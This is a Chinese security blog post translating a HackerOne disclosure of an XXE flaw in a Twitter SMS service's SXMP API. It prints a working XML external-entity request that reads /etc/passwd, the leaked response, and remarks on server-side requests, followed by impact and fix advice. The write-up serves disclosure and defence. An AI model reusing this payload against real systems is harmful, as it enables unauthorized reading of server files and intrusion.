• 欢迎访问挑战自我博客网站,安全研究,web渗透,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入挑战自我博客网站 网站主页

[XXE]推特某站点SXMP进程中的XXE漏洞

挖洞经验 挑战自我 来源:hackerone翻译 1227次浏览 已收录 0个评论

1、漏洞简介

sms-be-vip.twitter.com是推特的一个站点,我在这个站点挖到了一个XXE漏洞,外部攻击者可以通过它查看任意本地文件,并且允许执行一些web请求。漏洞情况可以参考如下链接:

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

2、漏洞详情

为了证明利用这个漏洞可以进行任意文件读取,我发送了如下的数据请求:

POST /api/sxmp/1.0 HTTP/1.1
Host: sms-be-vip.twitter.com
Connection: close
Content-Type: text/xml
Content-Length: 481

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY file SYSTEM "file:///etc/passwd"> 
]>
<operation type="deliver">
<account username="abc" password="a"/>
<deliverRequest referenceId="MYREF102020022">
<operatorId>&file;</operatorId>
<sourceAddress type="network">40404</sourceAddress>
<destinationAddress type="international">123</destinationAddress>
<text encoding="ISO-8859-1">a</text>
</deliverRequest>
</operation>
</code>

在数据响应中,服务器返回了一个错误,错误信息中包含了/etc/passwd文件的内容,如下所示:

<?xml version="1.0"?>
<operation type="deliver">
  <error code="1010" message="Unable to convert [root:x:0:0:root:/root:/bin/bash...[truncated by researcher] to an integer for [operatorId]"/>
</operation>

经测试,除了本地文件读取外,如果“file:///etc/passwd”被一个URL替换,那么服务器容器将生成外部请求,且具备访问Internet的出站权限。

3、漏洞影响情况

基于周边服务器或主机给予当前服务器的信任关系,XXE漏洞可以成为一种到达周边主机服务器的桥梁,这样XXE就可以被用来挖掘目标的敏感信息,诸如服务器证书或者目标源代码等。同样的,这个也可以暴露出这台服务器的一些首先服务和功能函数。

4、漏洞利用场景

任何远端攻击者都可以利用这个漏洞来读取系统文件,我是利用谷歌搜索并通过证书透明日志找到这台服务器的,所以攻击者可以不费吹灰之力就能发现它,而且服务器提供的服务可以从如下链接搜索得到:

https://github.com/twitter/cloudhopper-commons

5、修复建议

由于这个漏洞是由推特的cloudhopper-commons容器产生的,如果没有使用,可以尝试移除该容器。如果有使用,那么可以尝试减少XML解析器的功能,这样,对象实体就不会解析,出站流量也将被禁止,一些扩展参数也将被禁用。


挑战自我博客, 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明[XXE]推特某站点SXMP进程中的XXE漏洞
喜欢 (14)
支付宝[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址